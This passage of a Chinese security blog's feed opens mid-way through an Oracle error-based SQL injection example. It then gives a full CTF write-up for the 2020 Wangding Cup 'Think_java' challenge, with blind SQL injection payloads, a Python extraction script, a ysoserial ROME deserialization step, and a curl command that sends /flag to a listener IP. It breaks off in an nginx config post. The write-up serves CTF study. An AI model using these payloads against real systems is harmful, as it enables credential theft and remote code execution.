5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://www.jsporcle.com/news.jsp?id=1&amp;nbsp;and&amp;nbsp;1=utl_inaddr.get_host_name((select&amp;nbsp;(select&amp;nbsp;username%7c%7cpassword&amp;nbsp;from&amp;nbsp;admin)from&amp;nbsp;dual))--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139629866886.png&quot; alt=&quot;&quot; style=&quot;margin: 0px 0px 10px; padding: 0px; border: 0px; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; vertical-align: middle; height: auto; max-width: 100%; border-radius: 5px; box-shadow: rgba(0, 0, 2, 0.2) 0px 2px 2px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: 14pt; line-height: inherit; box-sizing: inherit;&quot;&gt;&amp;nbsp;其他报错函数大同小异。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 22 May 2020 17:26:30 +0800</pubDate></item><item><title>2020网鼎杯 第三组 Web Think_java WriteUp(java反序列化,sql盲注,swagger)</title><link>http://www.liugongrui.com/?id=259</link><description>&lt;p&gt;打开页面是这样的&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589811653473281.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;通过给的附件进行代码审计，发现有sql注入漏洞&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589811754727603.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589811724897752.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589811741124792.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;注入点为dbName参数，首先需要解决的问题是如何绕过&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;quot;jdbc:mysql://mysqldbserver:3306/&amp;quot; + dbName;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589811839265577.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;找到jdbc的连接字符串参数文档，发现dbName后面加上?后面可以加任意参数，就不会影响正常的数据库连接&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589811908324415.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;也就是说dbName可以等于myapp?a=1.....&amp;nbsp; ,a=1 后面可以写单引号来注入了，经过测试找到注入点&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-sql&quot;&gt;myapp?a=1&amp;#39;&amp;nbsp;or&amp;nbsp;(table_schema=&amp;#39;myapp&amp;#39;&amp;nbsp;and&amp;nbsp;if(ascii(substr((select&amp;nbsp;pwd&amp;nbsp;from&amp;nbsp;user&amp;nbsp;limit&amp;nbsp;0,1),1,1))=97,sleep(5),1))#&lt;/pre&gt;&lt;p&gt;盲注代码&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;import&amp;nbsp;requests


def&amp;nbsp;data():
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;db&amp;nbsp;=&amp;nbsp;{}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;x&amp;nbsp;=&amp;nbsp;0
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;x&amp;nbsp;&amp;lt;&amp;nbsp;60:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;x&amp;nbsp;=&amp;nbsp;x&amp;nbsp;+&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;x
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;i&amp;nbsp;in&amp;nbsp;range(33,&amp;nbsp;128):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;url&amp;nbsp;=&amp;nbsp;&amp;#39;http://19bb72dc-c2d2-4b7c-81b6-da4934ff6755.node3.buuoj.cn/common/test/sqlDict&amp;#39;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data&amp;nbsp;=&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;dbName&amp;quot;:&amp;nbsp;&amp;quot;myapp?a=1&amp;#39;&amp;nbsp;or&amp;nbsp;(table_schema=&amp;#39;myapp&amp;#39;&amp;nbsp;and&amp;nbsp;if(ascii(substr((select&amp;nbsp;pwd&amp;nbsp;from&amp;nbsp;user&amp;nbsp;limit&amp;nbsp;0,1),&amp;quot;&amp;nbsp;+&amp;nbsp;str(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;x)&amp;nbsp;+&amp;nbsp;&amp;quot;,1))=&amp;quot;&amp;nbsp;+&amp;nbsp;str(i)&amp;nbsp;+&amp;nbsp;&amp;quot;,sleep(5),1))#&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f&amp;nbsp;=&amp;nbsp;0
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s&amp;nbsp;=&amp;nbsp;requests.post(url,&amp;nbsp;data=data,&amp;nbsp;timeout=3)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;except:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f&amp;nbsp;=&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;f&amp;nbsp;==&amp;nbsp;1:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;db[x]&amp;nbsp;=&amp;nbsp;i&amp;nbsp;+&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;chr(i),i
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break

data()&lt;/pre&gt;&lt;p&gt;注入得到账号 admin，密码 admin@Rrrr_ctf_asde&lt;/p&gt;&lt;p&gt;后来看别人的wp发现联合注入能直接得到密码，可能是非预期，所以比赛的时候刚开始是能显示结果的，后面就不显示结果了 估计是出题人发现之后修复了&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-sql&quot;&gt;dbName=myapp?a=1&amp;#39;union&amp;nbsp;select&amp;nbsp;pwd&amp;nbsp;from&amp;nbsp;user#&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589812565892582.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;拿到密码之后，不知道怎么使用，比赛时候在这一步挂掉了，把整个库都快盲注完了也没找到flag。&lt;/p&gt;&lt;p&gt;其实下一步的线索从test.class中寻找，作为一个5年的java开发没有发现这个线索真是惭愧，接口上有注解，@ApiOperation，此注解为swagger接口注解，暗示使用了swagger，项目使用swagger后，会有一个默认的web页面来显示所有带有注解的接口文档，默认地址为项目名称+swagger-ui.html，当时如果暴力跑一下目录也许也能发现这个页面，比赛时候真是懵了。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589812790382887.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;访问swagger页面后，发现有一个登录接口，和一个查询现在用户的接口&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589812993233236.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;使用刚才注入得到的密码登录一下。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589813061211489.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;得到了一个token&lt;/p&gt;&lt;p&gt;Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589813136159665.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;Bearer 属于jwt的一种，也就是说加密的字符是json数据通过base64加密后得到的。&lt;/p&gt;&lt;p&gt;可以测试一下java的反序列化漏洞&lt;/p&gt;&lt;p&gt;用到两个工具&amp;nbsp;ysoserial 和&amp;nbsp;Java-Deserialization-Scanner&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #262626; font-family: font-regular, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 17px; background-color: #FFFFFF;&quot;&gt;&lt;a href=&quot;https://github.com/federicodottaa/Java-Deserialization-Scanner/releases&quot; _src=&quot;https://github.com/federicodottaa/Java-Deserialization-Scanner/releases&quot;&gt;https://github.com/federicodottaa/Java-Deserialization-Scanner/releases&lt;/a&gt; &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/frohoff/ysoserial&quot; style=&quot;color: rgb(38, 38, 38); font-family: font-regular, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 17px; background-color: rgb(255, 255, 255); text-decoration: underline;&quot;&gt;&lt;span style=&quot;color: #262626; font-family: font-regular, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 17px; background-color: #FFFFFF;&quot;&gt;https://github.com/frohoff/ysoserial&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;两个项目我都没有下载到编译好的jar包，下载源码后使用idea进行编译。编译很简单，导入项目到idea后，等待下载maven包，下载完成后在右侧找到maven菜单，双击package，得到打包完成就可以了&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Java-Deserialization-Scanner的安装，从bp找到下面的界面，选择刚才生成好的jar包，next确定就好了&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589813552426792.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;导入完成后bp界面变化如下&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589813644445438.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;然后编译ysoserial为jar包，放到bp目录下&lt;/p&gt;&lt;p&gt;配置一下，名称不要输错&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589813723498960.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;然后可以进行java的反序列化漏洞测试了,设置注入点为token，选择加密方式为base64，然后点击attack，过一会右边就出现了结果，ROME的payload测试成功&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589813810721099.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;右键发送的利用窗口&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589813903865083.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;输入&amp;nbsp;ROME &amp;quot;curl -d@/flag 174.1.96.95:5555&amp;quot; 点击attack，nc就能接收到flag了&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589813941225914.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005181589814001196777.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Mon, 18 May 2020 22:15:24 +0800</pubDate></item><item><title>当tomcat6无法升级时，解决X-Frame-Options Header 配置问题，使用nginx代理设置</title><link>http://www.liugongrui.com/?id=258</link><description>&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#nginx1.18.0版本
#user&amp;nbsp;&amp;nbsp;nobody;
worker_processes&amp;nbsp;&amp;nbsp;1;

#error_log&amp;nbsp;&amp;nbsp;logs/error.log;
#error_log&amp;nbsp;&amp;nbsp;logs/error.log&amp;nbsp;&amp;nbsp;notice;
#error_log&amp;nbsp;&amp;nbsp;logs/error.log&amp;nbsp;&amp;nbsp;info;

#pid&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;logs/nginx.pid;


events&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;worker_connections&amp;nbsp;&amp;nbsp;1024;
}


http&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;include&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mime.types;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;default_type&amp;nbsp;&amp;nbsp;application/octet-stream;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#log_format&amp;nbsp;&amp;nbsp;main&amp;nbsp;&amp;nbsp;&amp;#39;$remote_addr&amp;nbsp;-&amp;nbsp;$remote_user&amp;nbsp;[$time_local]&amp;nbsp;&amp;quot;$request&amp;quot;&amp;nbsp;&amp;#39;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;$status&amp;nbsp;$body_bytes_sent&amp;nbsp;&amp;quot;$http_referer&amp;quot;&amp;nbsp;&amp;#39;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;&amp;quot;$http_user_agent&amp;quot;&amp;nbsp;&amp;quot;$http_x_forwarded_for&amp;quot;&amp;#39;;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#access_log&amp;nbsp;&amp;nbsp;logs/access.log&amp;nbsp;&amp;nbsp;main;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sendfile&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;on;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#tcp_nopush&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;on;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#keepalive_timeout&amp;nbsp;&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;keepalive_timeout&amp;nbsp;&amp;nbsp;65;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#gzip&amp;nbsp;&amp;nbsp;on;
		#fastcgi_intercept_errors&amp;nbsp;on;
		proxy_intercept_errors&amp;nbsp;on;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;server&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen&amp;nbsp;443&amp;nbsp;ssl;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;server_name&amp;nbsp;&amp;nbsp;www.lf-afa.com;


				#证书文件名称
				ssl_certificate&amp;nbsp;&amp;nbsp;1_www.lf-afa.com_bundle.crt;&amp;nbsp;
				#私钥文件名称
				ssl_certificate_key&amp;nbsp;2_www.lf-afa.com.key;&amp;nbsp;
				ssl_session_timeout&amp;nbsp;5m;
				ssl_ciphers&amp;nbsp;ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
				ssl_protocols&amp;nbsp;TLSv1&amp;nbsp;TLSv1.1&amp;nbsp;TLSv1.2;
				ssl_prefer_server_ciphers&amp;nbsp;on;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#charset&amp;nbsp;koi8-r;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#access_log&amp;nbsp;&amp;nbsp;logs/host.access.log&amp;nbsp;&amp;nbsp;main;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location&amp;nbsp;/&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#root&amp;nbsp;&amp;nbsp;&amp;nbsp;html;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#index&amp;nbsp;&amp;nbsp;index.html&amp;nbsp;index.htm;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_pass&amp;nbsp;https://127.0.0.1:4431;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add_header&amp;nbsp;X-Frame-Options&amp;nbsp;SAMEORIGIN;
		&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#error_page&amp;nbsp;404&amp;nbsp;500&amp;nbsp;502&amp;nbsp;503&amp;nbsp;504&amp;nbsp;/404.html;
		&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;error_page&amp;nbsp;404&amp;nbsp;500&amp;nbsp;502&amp;nbsp;503&amp;nbsp;504&amp;nbsp;&amp;nbsp;=200&amp;nbsp;/404.html;&amp;nbsp;
		&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;error_page&amp;nbsp;302&amp;nbsp;/404.html;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#error_page&amp;nbsp;&amp;nbsp;302&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/404.html;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;redirect&amp;nbsp;server&amp;nbsp;error&amp;nbsp;pages&amp;nbsp;to&amp;nbsp;the&amp;nbsp;static&amp;nbsp;page&amp;nbsp;/50x.html
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;error_page&amp;nbsp;302&amp;nbsp;404&amp;nbsp;500&amp;nbsp;502&amp;nbsp;503&amp;nbsp;504&amp;nbsp;&amp;nbsp;/404.html;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location&amp;nbsp;=&amp;nbsp;/404.html&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;root&amp;nbsp;&amp;nbsp;&amp;nbsp;html;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;proxy&amp;nbsp;the&amp;nbsp;PHP&amp;nbsp;scripts&amp;nbsp;to&amp;nbsp;Apache&amp;nbsp;listening&amp;nbsp;on&amp;nbsp;127.0.0.1:80
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#location&amp;nbsp;~&amp;nbsp;\.php$&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy_pass&amp;nbsp;&amp;nbsp;&amp;nbsp;http://127.0.0.1;
